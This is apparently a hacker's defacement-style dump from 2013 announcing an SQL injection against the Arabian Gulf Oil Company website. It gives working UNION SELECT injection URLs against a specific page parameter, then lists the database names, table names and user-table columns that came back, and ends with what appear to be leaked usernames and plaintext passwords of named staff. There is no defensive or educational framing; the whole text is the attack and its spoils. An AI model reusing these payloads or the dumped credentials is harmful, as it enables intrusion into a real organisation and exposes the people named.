Arabian Gulf Oil Company SQL injection // QuisterTow

==========
Target : http://www.agoco.com.ly/  [Arabian Gulf Oil Company]
Author : QuisterTow     /     twitter.com/quistertow
Hour   : 17:58
Date   : 6 march 2013
==========
/*!DATABASES*/

information_schema
agococo_agoco  - current database
agococo_agoen

SINTAX : http://www.agoco.com.ly/search/details.php?cid=75&id=-1148 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(schema_name) from information_schema.schemata-- -

/*!end*/

/*!TABLES*/

AIRLINES_SCEDULE
USERS_ACCESS_RIGHT
airlines
artical
category
client_category
clients
economic_services
es_daily_actions
es_items
guest_book
nationalty_cd
occupation
order_category
order_items
oreder_header
page_customization
professional_cd
users
vacancies_need
vote_a
vote_q

SINTAX : http://www.agoco.com.ly/search/details.php?cid=75&id=-1148 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(/*!table_name*/) from information_schema.tables where table_schema=database()-- -

/*!end*/

/*!USERS COLUMNS */

id
user_nm
user_id
user_password
admin_fg
active_fg
news_fg
tenders_fg
events_fg
env_fg
presentation_fg
project_fg
traning_fg
chairman_fg
super_user
careers_fg
magazine_fg
conference_fg
business_fg
about_fg
libya_fg
link_fg
travel_fg
vacancies_fg
benefits_fg
community_fg
applying_fg
annoucments_fg
exploration_fg

SINTAX : http://www.agoco.com.ly/search/details.php?cid=75&id=-1148 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(/*!column_name*/) from information_schema.columns where /*!table_name*/=0x7573657273-- -

/*!END*/

/*!DATA -- user and password */
admin:ecs747:
sofian shibani:123456:
intisar:ecs747:
hak:nimb:
agoco admin:ecs747:

SINTAX : http://www.agoco.com.ly/search/details.php?cid=75&id=-1148 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(user_nm,0x3a,/*!user_password*/,0x3a) from users-- -

/*!end*/


That's all

      QuisterTow